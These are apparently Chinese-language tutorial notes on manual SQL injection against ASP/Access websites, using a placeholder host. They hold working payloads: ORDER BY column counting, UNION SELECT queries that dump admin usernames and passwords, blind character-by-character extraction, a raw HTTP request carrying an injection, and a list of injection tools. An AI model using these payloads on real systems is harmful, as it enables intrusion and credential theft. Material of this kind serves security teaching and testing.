1、必须有参数传递
2、参数值带入数据库查询并执行
1、判断注入
2、猜解表名
3、猜解列名
4、猜解数据
猜解表名的过程如下:
1)Order by 22 22 代表查询的列名的数目有22个
http://www.test.com/Production/PRODUCT_DETAIL.asp?id=1513 order by 2cc2 正常
http://www.test.com/Production/PRODUCT_DETAIL.asp?id=1513 order by 23 错误
2)猜解表名 确定存在admin表名
http://www.test.com/Production/PRODUCT_DETAIL.asp?id=1513 UNION SELECT
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin
猜解列名 猜解数据
http://www.test.com/Production/PRODUCT_DETAIL.asp?id=1513 UNION SELECT
1,2,admin,4,5,6,7,8,9,10,11,12,13,14,password,16,17,18,19,20,21,22 from admin
表名和列名猜解成功率不是百分百,猜解不到解决办法?
1.字典文件收集(社工)
多去观察网站的命名规律
2.Access偏移注入
查表:and exists (select * from 表名) 猜测表名
查列:and exists (select 列名 from 表名)
查数据:1.确定长度 2.确定asc数据(asc编码)
and (select top 1 len(列名) from admin)=5
and (select top 1 asc(mid(列名,位数,1)) from admin)=97
and (select top 1 asc(mid(列名,位数,1)) from admin)=97
Admin
Admin,password
Admin列名长度为5
Password 列名长度为16
**拓展:
抓包分析注入工具核心注入语句
利用自己的编程技能实现山寨工具**
数据包:
GET /Production/PRODUCT_DETAIL.asp?id=1513**%20%20and%20exists%20(select%20*%20from%20sysobjects)** HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)
Host: www.test.com
Cookie: ASPSESSIONIDSATARCBS=JKKPGAIDNNFGACMCDEJGCMEC;
ASPSESSIONIDSCSCSABT=HALFGFIDEIPDGCDIIFJNAKPF
啊D判断注入点:
注入工具:
啊D,明小子,穿山甲,萝卜头,sqlmap、、、、
工具功能性:
支持数据库类型,支持注入类型,注入突破类型,工具速度、、、、